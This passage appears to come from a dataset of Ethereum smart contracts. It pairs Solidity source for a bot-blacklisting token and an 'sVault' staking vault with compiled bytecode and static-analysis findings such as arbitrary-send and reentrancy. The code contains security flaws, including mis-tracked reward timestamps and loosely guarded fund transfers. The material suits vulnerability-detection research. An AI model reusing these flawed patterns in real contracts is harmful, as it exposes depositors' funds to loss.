for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103fd578063cf0848f714610412578063cf9d4afa14610432578063dd62ed3e14610452578063e6ec64ec14610498578063f2fde38b146104b857600080fd5b8063715018a61461032d5780638da5cb5b1461034257806390d49b9d1461036a57806395d89b411461038a578063a9059cbb146103bd578063b515566a146103dd57600080fd5b806331c2d8471161010857806331c2d847146102465780633bbac57914610266578063437823ec1461029f578063476343ee146102bf5780635342acb4146102d457806370a082311461030d57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101bd57806318160ddd146101ed57806323b872dd14610212578063313ce5671461023257600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d8565b005b34801561017e57600080fd5b5060408051808201909152601081526f5069636b6c65205269636b2054616d6160801b60208201525b6040516101b49190611971565b60405180910390f35b3480156101c957600080fd5b506101dd6101d83660046119eb565b610524565b60405190151581526020016101b4565b3480156101f957600080fd5b50678ac7230489e800005b6040519081526020016101b4565b34801561021e57600080fd5b506101dd61022d366004611a17565b61053b565b34801561023e57600080fd5b506009610204565b34801561025257600080fd5b50610170610261366004611a6e565b6105a4565b34801561027257600080fd5b506101dd610281366004611b33565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102ab57600080fd5b506101706102ba366004611b33565b61063a565b3480156102cb57600080fd5b50610170610688565b3480156102e057600080fd5b506101dd6102ef366004611b33565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031957600080fd5b50610204610328366004611b33565b6106c2565b34801561033957600080fd5b506101706106e4565b34801561034e57600080fd5b506000546040516001600160a01b0390911681526020016101b4565b34801561037657600080fd5b50610170610385366004611b33565b61071a565b34801561039657600080fd5b5060408051808201909152600a8152695069636b6c655269636b60b01b60208201526101a7565b3480156103c957600080fd5b506101dd6103d83660046119eb565b610794565b3480156103e957600080fd5b506101706103f8366004611a6e565b6107a1565b34801561040957600080fd5b506101706108ba565b34801561041e57600080fd5b5061017061042d366004611b33565b610971565b34801561043e57600080fd5b5061017061044d366004611b33565b6109bc565b34801561045e57600080fd5b5061020461046d366004611b50565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104a457600080fd5b506101706104b3366004611b89565b610c17565b3480156104c457600080fd5b506101706104d3366004611b33565b610c8d565b6000546001600160a01b0316331461050b5760405162461bcd60e51b815260040161050290611ba2565b60405180910390fd5b6000610516306106c2565b905061052181610d25565b50565b6000610531338484610e9f565b5060015b92915050565b6000610548848484610fc3565b61059a843361059585604051806060016040528060288152602001611d1d602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061142a565b610e9f565b5060019392505050565b6000546001600160a01b031633146105ce5760405162461bcd60e51b815260040161050290611ba2565b60005b8151811015610636576000600560008484815181106105f2576105f2611bd7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062e81611c03565b9150506105d1565b5050565b6000546001600160a01b031633146106645760405162461bcd60e51b815260040161050290611ba2565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610636573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461053590611464565b6000546001600160a01b0316331461070e5760405162461bcd60e51b815260040161050290611ba2565b61071860006114e8565b565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161050290611ba2565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610531338484610fc3565b6000546001600160a01b031633146107cb5760405162461bcd60e51b815260040161050290611ba2565b60005b815181101561063657600c5482516001600160a01b03909116908390839081106107fa576107fa611bd7565b60200260200101516001600160a01b03161415801561084b5750600b5482516001600160a01b039091169083908390811061083757610837611bd7565b60200260200101516001600160a01b031614155b156108a85760016005600084848151811061086857610868611bd7565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108b281611c03565b9150506107ce565b6000546001600160a01b031633146108e45760405162461bcd60e51b815260040161050290611ba2565b600c54600160a01b900460ff166109485760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b6064820152608401610502565b600c805460ff60b81b1916600160b81b17905542600d81905561096c9060b4611c1e565b600e55565b6000546001600160a01b0316331461099b5760405162461bcd60e51b815260040161050290611ba2565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e65760405162461bcd60e51b815260040161050290611ba2565b600c54600160a01b900460ff1615610a4e5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610502565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac99190611c36565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3a9190611c36565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bab9190611c36565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c415760405162461bcd60e51b815260040161050290611ba2565b600c811115610c885760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031322560681b6044820152606401610502565b600855565b6000546001600160a01b03163314610cb75760405162461bcd60e51b815260040161050290611ba2565b6001600160a01b038116610d1c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610502565b610521816114e8565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6d57610d6d611bd7565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dea9190611c36565b81600181518110610dfd57610dfd611bd7565b6001600160a01b039283166020918202929092010152600b54610e239130911684610e9f565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e5c908590600090869030904290600401611c53565b600060405180830381600087803b158015610e7657600080fd5b505af1158015610e8a573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610f015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610502565b6001600160a01b038216610f625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610502565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610502565b6001600160a01b0382166110895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610502565b600081116110eb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610502565b6001600160a01b03831660009081526005602052604090205460ff16156111935760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610502565b6001600160a01b03821660009081526005602052604090205460ff16156111b957600080fd5b6001600160a01b03831660009081526004602052604081205460ff161580156111fb57506001600160a01b03831660009081526004602052604090205460ff16155b80156112115750600c54600160a81b900460ff16155b80156112415750600c546001600160a01b03858116911614806112415750600c546001600160a01b038481169116145b1561141857600c54600160b81b900460ff1661129f5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610502565b50600c546001906001600160a01b0385811691161480156112ce5750600b546001600160a01b03848116911614155b80156112db575042600e54115b156113225760006112eb846106c2565b905061130b6064611305678ac7230489e800006002611538565b906115b7565b61131584836115f9565b111561132057600080fd5b505b600d54421415611350576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061135b306106c2565b600c54909150600160b01b900460ff161580156113865750600c546001600160a01b03868116911614155b1561141657801561141657600c546113ba9060649061130590600f906113b4906001600160a01b03166106c2565b90611538565b8111156113e757600c546113e49060649061130590600f906113b4906001600160a01b03166106c2565b90505b60006113f48260046115b7565b90506114008183611cc4565b915061140b81611658565b61141482610d25565b505b505b61142484848484611688565b50505050565b6000818484111561144e5760405162461bcd60e51b81526004016105029190611971565b50600061145b8486611cc4565b95945050505050565b60006006548211156114cb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610502565b60006114d561178b565b90506114e183826115b7565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261154757506000610535565b60006115538385611cdb565b9050826115608583611cfa565b146114e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610502565b60006114e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ae565b6000806116068385611c1e565b9050838110156114e15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610502565b600c805460ff60b01b1916600160b01b1790556116783061dead83610fc3565b50600c805460ff60b01b19169055565b8080611696576116966117dc565b6000806000806116a5876117f8565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116d2908561183f565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461170190846115f9565b6001600160a01b03891660009081526001602052604090205561172381611881565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161176891815260200190565b60405180910390a3505050508061178457611784600954600855565b5050505050565b60008060006117986118cb565b90925090506117a782826115b7565b9250505090565b600081836117cf5760405162461bcd60e51b81526004016105029190611971565b50600061145b8486611cfa565b6000600854116117eb57600080fd5b6008805460095560009055565b60008060008060008061180d8760085461190b565b91509150600061181b61178b565b905060008061182b8a8585611938565b909b909a5094985092965092945050505050565b60006114e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061142a565b600061188b61178b565b905060006118998383611538565b306000908152600160205260409020549091506118b690826115f9565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118e682826115b7565b82101561190257505060065492678ac7230489e8000092509050565b90939092509050565b6000808061191e60646113058787611538565b9050600061192c868361183f565b96919550909350505050565b600080806119468685611538565b905060006119548686611538565b90506000611962838361183f565b92989297509195505050505050565b600060208083528351808285015260005b8181101561199e57858101830151858201604001528201611982565b818111156119b0576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052157600080fd5b80356119e6816119c6565b919050565b600080604083850312156119fe57600080fd5b8235611a09816119c6565b946020939093013593505050565b600080600060608486031215611a2c57600080fd5b8335611a37816119c6565b92506020840135611a47816119c6565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a8157600080fd5b823567ffffffffffffffff80821115611a9957600080fd5b818501915085601f830112611aad57600080fd5b813581811115611abf57611abf611a58565b8060051b604051601f19603f83011681018181108582111715611ae457611ae4611a58565b604052918252848201925083810185019188831115611b0257600080fd5b938501935b82851015611b2757611b18856119db565b84529385019392850192611b07565b98975050505050505050565b600060208284031215611b4557600080fd5b81356114e1816119c6565b60008060408385031215611b6357600080fd5b8235611b6e816119c6565b91506020830135611b7e816119c6565b809150509250929050565b600060208284031215611b9b57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c1757611c17611bed565b5060010190565b60008219821115611c3157611c31611bed565b500190565b600060208284031215611c4857600080fd5b81516114e1816119c6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ca35784516001600160a01b031683529383019391830191600101611c7e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611cd657611cd6611bed565b500390565b6000816000190483118215151615611cf557611cf5611bed565b500290565b600082611d1757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204c1926ac78140cee2d82e5dd74bb442101e6764e3070bc249259f2e7494ffdcc64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,425 |
0xdcf6b804358897e092044349eeb614b5c005ab72
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract sVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Reward {
uint256 amount;
uint256 timestamp;
uint256 totalDeposit;
}
mapping(address => uint256) public _lastCheckTime;
mapping(address => uint256) public _rewardBalance;
mapping(address => uint256) public _depositBalances;
uint256 public _totalDeposit;
Reward[] public _rewards;
string public _vaultName;
IERC20 public token0;
IERC20 public token1;
address public feeAddress;
address public vaultAddress;
uint32 public feePermill;
uint256 public delayDuration = 7 days;
bool public withdrawable;
uint256 public totalRate = 10000;
uint256 public userRate = 8500;
address public treasury;
address public gov;
uint256 public _rewardCount;
event SentReward(uint256 amount);
event Deposited(address indexed user, uint256 amount);
event ClaimedReward(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name, address _treasury) payable {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
feeAddress = _feeAddress;
vaultAddress = _vaultAddress;
_vaultName = name;
gov = msg.sender;
treasury = _treasury;
}
modifier onlyGov() {
require(msg.sender == gov, "!governance");
_;
}
function setGovernance(address _gov)
external
onlyGov
{
gov = _gov;
}
function setToken0(address _token)
external
onlyGov
{
token0 = IERC20(_token);
}
function setTotalRate(uint256 _totalRate)
external
onlyGov
{
totalRate = _totalRate;
}
function setTreasury(address _treasury)
external
onlyGov
{
treasury = _treasury;
}
function setUserRate(uint256 _userRate)
external
onlyGov
{
userRate = _userRate;
}
function setToken1(address _token)
external
onlyGov
{
token1 = IERC20(_token);
}
function setFeeAddress(address _feeAddress)
external
onlyGov
{
feeAddress = _feeAddress;
}
function setVaultAddress(address _vaultAddress)
external
onlyGov
{
vaultAddress = _vaultAddress;
}
function setFeePermill(uint32 _feePermill)
external
onlyGov
{
feePermill = _feePermill;
}
function setDelayDuration(uint32 _delayDuration)
external
onlyGov
{
delayDuration = _delayDuration;
}
function setWithdrawable(bool _withdrawable)
external
onlyGov
{
withdrawable = _withdrawable;
}
function setVaultName(string memory name)
external
onlyGov
{
_vaultName = name;
}
function balance0()
external
view
returns (uint256)
{
return token0.balanceOf(address(this));
}
function balance1()
external
view
returns (uint256)
{
return token1.balanceOf(address(this));
}
function getReward(address userAddress)
internal
{
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (lastCheckTime > 0 && _rewards.length > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
_rewardBalance[userAddress] = rewardBalance;
_lastCheckTime[msg.sender] = block.timestamp;
}
function deposit(uint256 amount) external {
getReward(msg.sender);
uint256 feeAmount = amount.mul(feePermill).div(1000);
uint256 realAmount = amount.sub(feeAmount);
if (feeAmount > 0) {
token0.safeTransferFrom(msg.sender, feeAddress, feeAmount);
}
if (realAmount > 0) {
token0.safeTransferFrom(msg.sender, vaultAddress, realAmount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount);
_totalDeposit = _totalDeposit.add(realAmount);
emit Deposited(msg.sender, realAmount);
}
}
function withdraw(uint256 amount) external {
require(token0.balanceOf(address(this)) > 0, "no withdraw amount");
require(withdrawable, "not withdrawable");
getReward(msg.sender);
if (amount > _depositBalances[msg.sender]) {
amount = _depositBalances[msg.sender];
}
require(amount > 0, "can't withdraw 0");
token0.safeTransfer(msg.sender, amount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].sub(amount);
_totalDeposit = _totalDeposit.sub(amount);
emit Withdrawn(msg.sender, amount);
}
function sendReward(uint256 amount) external {
require(amount > 0, "can't reward 0");
require(_totalDeposit > 0, "totalDeposit must bigger than 0");
uint256 amountUser = amount.mul(userRate).div(totalRate);
amount = amount.sub(amountUser);
token1.safeTransferFrom(msg.sender, address(this), amountUser);
token1.safeTransferFrom(msg.sender, treasury, amount);
Reward memory reward;
reward = Reward(amountUser, block.timestamp, _totalDeposit);
_rewards.push(reward);
emit SentReward(amountUser);
}
function claimReward(uint256 amount) external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
if (amount > rewardLimit) {
amount = rewardLimit;
}
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount);
token1.safeTransfer(msg.sender, amount);
}
function claimRewardAll() external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit);
token1.safeTransfer(msg.sender, rewardLimit);
}
function getRewardAmount(address userAddress) public view returns (uint256) {
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (_rewards.length > 0) {
if (lastCheckTime > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) {
uint256 timedAmount = _rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit);
timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration);
rewardBalance = rewardBalance.sub(timedAmount);
if (j == 0) break;
}
}
return rewardBalance;
}
function seize(address token, address to) external onlyGov {
require(IERC20(token) != token0 && IERC20(token) != token1, "main tokens");
if (token != address(0)) {
uint256 amount = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(to, amount);
}
else {
uint256 amount = address(this).balance;
payable(to).transfer(amount);
}
}
fallback () external payable { }
receive () external payable { }
}
|
0x6080604052600436106102345760003560e01c8063ab033ea91161012e578063c78b6dea116100ab578063e4186aa61161006f578063e4186aa6146107d9578063f0f442601461080c578063fab980b71461083f578063fcc0c680146108c9578063fe7b82d9146109045761023b565b8063c78b6dea14610729578063cbeb7ef214610753578063d21220a71461077f578063d86e1ef714610794578063e2aa2a85146107c45761023b565b8063b79ea884116100f2578063b79ea88414610669578063b8f6e8411461069c578063b8f79288146106b1578063c45c4f58146106e1578063c6e426bd146106f65761023b565b8063ab033ea91461059a578063adc3b31b146105cd578063ae169a5014610600578063b5984a361461062a578063b6b55f251461063f5761023b565b8063430bf08a116101bc578063637830ca11610180578063637830ca146104c257806371e2f020146104d757806385535cc5146104ec5780638705fcd41461051f5780638f1e9405146105525761023b565b8063430bf08a1461040e57806344264d3d1461042357806344a040f514610451578063501883011461048457806361d027b3146104ad5761023b565b806327b5b6a01161020357806327b5b6a01461035d5780632e1a7d4d1461039057806336422e54146103ba57806341275358146103e457806342a66f68146103f95761023b565b80630dfe16811461023d57806311cc66b21461026e57806312d43a51146103215780631c69ad00146103365761023b565b3661023b57005b005b34801561024957600080fd5b5061025261092e565b604080516001600160a01b039092168252519081900360200190f35b34801561027a57600080fd5b5061023b6004803603602081101561029157600080fd5b8101906020810181356401000000008111156102ac57600080fd5b8201836020820111156102be57600080fd5b803590602001918460018302840111640100000000831117156102e057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061093d945050505050565b34801561032d57600080fd5b506102526109a1565b34801561034257600080fd5b5061034b6109b0565b60408051918252519081900360200190f35b34801561036957600080fd5b5061034b6004803603602081101561038057600080fd5b50356001600160a01b0316610a2c565b34801561039c57600080fd5b5061023b600480360360208110156103b357600080fd5b5035610a3e565b3480156103c657600080fd5b5061023b600480360360208110156103dd57600080fd5b5035610c4a565b3480156103f057600080fd5b50610252610c9c565b34801561040557600080fd5b5061034b610cab565b34801561041a57600080fd5b50610252610cb1565b34801561042f57600080fd5b50610438610cc0565b6040805163ffffffff9092168252519081900360200190f35b34801561045d57600080fd5b5061034b6004803603602081101561047457600080fd5b50356001600160a01b0316610cd3565b34801561049057600080fd5b50610499610e76565b604080519115158252519081900360200190f35b3480156104b957600080fd5b50610252610e7f565b3480156104ce57600080fd5b5061023b610e8e565b3480156104e357600080fd5b5061034b610eee565b3480156104f857600080fd5b5061023b6004803603602081101561050f57600080fd5b50356001600160a01b0316610ef4565b34801561052b57600080fd5b5061023b6004803603602081101561054257600080fd5b50356001600160a01b0316610f63565b34801561055e57600080fd5b5061057c6004803603602081101561057557600080fd5b5035610fd2565b60408051938452602084019290925282820152519081900360600190f35b3480156105a657600080fd5b5061023b600480360360208110156105bd57600080fd5b50356001600160a01b0316611005565b3480156105d957600080fd5b5061034b600480360360208110156105f057600080fd5b50356001600160a01b0316611074565b34801561060c57600080fd5b5061023b6004803603602081101561062357600080fd5b5035611086565b34801561063657600080fd5b5061034b6110ee565b34801561064b57600080fd5b5061023b6004803603602081101561066257600080fd5b50356110f4565b34801561067557600080fd5b5061023b6004803603602081101561068c57600080fd5b50356001600160a01b03166111f7565b3480156106a857600080fd5b5061034b611266565b3480156106bd57600080fd5b5061023b600480360360208110156106d457600080fd5b503563ffffffff1661126c565b3480156106ed57600080fd5b5061034b6112df565b34801561070257600080fd5b5061023b6004803603602081101561071957600080fd5b50356001600160a01b031661132a565b34801561073557600080fd5b5061023b6004803603602081101561074c57600080fd5b5035611399565b34801561075f57600080fd5b5061023b6004803603602081101561077657600080fd5b50351515611586565b34801561078b57600080fd5b506102526115e6565b3480156107a057600080fd5b5061023b600480360360208110156107b757600080fd5b503563ffffffff166115f5565b3480156107d057600080fd5b5061034b61164d565b3480156107e557600080fd5b5061034b600480360360208110156107fc57600080fd5b50356001600160a01b0316611653565b34801561081857600080fd5b5061023b6004803603602081101561082f57600080fd5b50356001600160a01b0316611665565b34801561084b57600080fd5b506108546116d4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561088e578181015183820152602001610876565b50505050905090810190601f1680156108bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108d557600080fd5b5061023b600480360360408110156108ec57600080fd5b506001600160a01b0381358116916020013516611762565b34801561091057600080fd5b5061023b6004803603602081101561092757600080fd5b503561196b565b6006546001600160a01b031681565b600f546001600160a01b0316331461098a576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b805161099d906005906020840190611f9c565b5050565b600f546001600160a01b031681565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109fb57600080fd5b505afa158015610a0f573d6000803e3d6000fd5b505050506040513d6020811015610a2557600080fd5b5051905090565b60006020819052908152604090205481565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610a8957600080fd5b505afa158015610a9d573d6000803e3d6000fd5b505050506040513d6020811015610ab357600080fd5b505111610afc576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b600b5460ff16610b46576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b610b4f336119bd565b33600090815260026020526040902054811115610b785750336000908152600260205260409020545b60008111610bc0576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b600654610bd7906001600160a01b03163383611ac5565b33600090815260026020526040902054610bf19082611b17565b33600090815260026020526040902055600354610c0e9082611b17565b60035560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b600f546001600160a01b03163314610c97576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600d55565b6008546001600160a01b031681565b600c5481565b6009546001600160a01b031681565b600954600160a01b900463ffffffff1681565b6001600160a01b03811660009081526020818152604080832054600190925282205460045415610e6f578115610dc757600454600019015b60048181548110610d1857fe5b906000526020600020906003020160010154831015610dc557610db0610da960048381548110610d4457fe5b906000526020600020906003020160020154610da3600260008a6001600160a01b03166001600160a01b031